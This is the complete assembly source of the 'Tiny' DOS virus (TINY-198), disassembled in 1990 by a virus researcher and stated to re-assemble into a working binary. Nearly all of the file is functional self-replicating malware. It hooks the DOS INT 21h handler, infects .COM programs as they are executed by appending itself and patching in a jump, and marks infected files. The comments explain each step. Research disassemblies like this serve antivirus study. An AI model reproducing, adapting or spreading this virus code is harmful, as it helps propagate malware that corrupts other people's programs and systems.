HPAVC/HPAVC CD-ROM.iso/ASM-T.ZIP/TINY-198.ASM

Assembly Source File | 1990-07-09 | 5KB | 199 lines

    page    ,132
    name    TINY198
    title    The 'Tiny' virus, version TINY-198
    .radix    16

; ╔══════════════════════════════════════════════════════════════════════════╗
; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
; ║  Telephone: Private: [phone], Office: [phone] ext. 255         ║
; ║                                         ║
; ║             The 'Tiny' Virus, version TINY-198                  ║
; ║            Disassembled by Vesselin Bontchev, July 1990         ║
; ║                                         ║
; ║             Copyright (c) Vesselin Bontchev 1989, 1990          ║
; ║                                         ║
; ║     This listing is only to be made available to virus researchers      ║
; ║           or software writers on a need-to-know basis.          ║
; ╚══════════════════════════════════════════════════════════════════════════╝

; The disassembly has been tested by re-assembly using MASM 5.0.

code    segment
    assume    cs:code, ds:code

    org    100

seg_60    equ    600
v_len    equ    v_end-v_entry

start:
    jmp    v_entry     ; Jump to virus code
    db    'M'             ; Virus signature
    mov    ax,4C00     ; Program terminate
    int    21

v_entry:
    call    self        ; Determine the start addres of the virus body
self:
    pop    si
    sub    si,3

    push    ax        ; Save AX (to keep programs as DISKCOPY happy)

; Check whether the virus is already in memory and just run the program if so:

    mov    ah,0E9
    int    21

    mov    di,seg_60    ; Point ES:DI at 0000:0600h (i.e, segment 60h)
    xor    cx,cx        ; ES := 0
    mov    es,cx
    mov    cl,v_len    ; CX := virus length
    rep    movsb        ; Move the virus body there

; Transfer control to cont: by PUSHing its address
; on the stack and executing RETF:

    push    es
    mov    ax,cont-v_entry+seg_60
    push    ax
    retf

; The original first 4 bytes of the infected file:

first4    db    0EBh, 2, 90, 90

; Resume execution from here (but already in segment 60h):

cont:

; Install new INT 21h handler and move the old one at INT 32h:

    mov    di,21*4
    mov    cl,2
    mov    ax,int_21-v_entry+seg_60
    cld
lp:
    push    word ptr es:[di]    ; Get old handler's address
    pop    word ptr es:[di+(32-21)*4]    ; Move it at INT 32h
    stosw            ; Install the new one
    mov    ax,cs
    loop    lp        ; Loop until done

; Save the original first 4 bytes of the infected program on the stack:

    push    word ptr cs:[first4-v_entry+seg_60]
    push    word ptr cs:[first4+2-v_entry+seg_60]

run_pgm:
    mov    di,offset start ; Point DI at program's start
    pop    word ptr [di+2] ; Restore the first 4 bytes of the program
    pop    word ptr [di]
    pop    ax        ; Restore the original value of AX
    push    ds
    push    ds        ; ES := DS
    pop    es
    push    di        ; Push 100h on the stack
    retf

mem_chk:

; Push the original first 4 bytes of the infected program on the stack:

    push    word ptr [si+first4-v_entry]
    push    word ptr [si+first4+2-v_entry]
    jmp    run_pgm     ; And run the original program

int_21:             ; New INT 21h handler
    cmp    ah,0E9        ; Memory check?
    je    mem_chk     ; If infected, run the original program
    cmp    ax,4B00     ; EXEC function call?
    jne    end_21        ; Exit if not

    push    ax        ; Save registers used
    push    bx
    push    cx
    push    dx
    push    di
    push    ds
    push    es

    push    cs        ; ES := CS
    pop    es

    mov    ax,3D02     ; Open the file for both reading and writting
    int    32
    jc    end_exec    ; Exit on error
    mov    bx,ax        ; Save the file handle in BX

    mov    ah,3F        ; Read the first 4 bytes of the file
    mov    cx,4        ; 4 bytes to read
    mov    dx,first4-v_entry+seg_60    ; Put them in first4
    mov    di,dx        ; Save first4 address in DI
    push    cs        ; DS := CS
    pop    ds
    int    32        ; Do it

; Check whether the file is already infected or is an .EXE file.
; The former contains the character `M' in its 3rd byte and
; the latter contains it either in the 0th or in the 1st byte.

    push    di        ; Save DI
    mov    al,'M'          ; Look for `M'
    repne    scasb
    pop    di        ; Restore DI
    je    close        ; Exit if file not suitable for infection

    mov    ax,4202     ; Seek to the end of file
    xor    cx,cx
    xor    dx,dx
    int    32        ; Do it

    push    ax        ; Save file length

    mov    dh,6        ; DX = 600h, i.e. point it at 0000:0600h
    mov    cl,v_len    ; Length of virus body
    mov    ah,40        ; Append virus to file
    int    32        ; Do it

    mov    ax,4200     ; Seek to the file beginning
    xor    cx,cx
    xor    dx,dx
    int    32        ; Do it

    mov    dx,di        ; Point DX at first4
    mov    al,0E9        ; Near JMP opcode
    stosb            ; Form the first instruction of the file
    pop    ax        ; Restore file length in AX
    sub    ax,3        ; Subtract 3 (first instruction length)
    stosw            ; Form the JMP's opperand
    mov    al,'M'          ; Add a `M' character to mark the file
    stosb            ;  as infected

    mov    cl,4        ; Overwrite the first 4 bytes of the file
    mov    ah,40
    int    32        ; Do it

close:
    mov    ah,3E        ; Close the file
    int    32

end_exec:
    pop    es        ; Restore used registers
    pop    ds
    pop    di
    pop    dx
    pop    cx
    pop    bx
    pop    ax

; Exit through the original INT 21h handler:

end_21:
    jmp    dword ptr cs:[32*4]

v_end    equ    $        ; End of virus body

code    ends
    end    start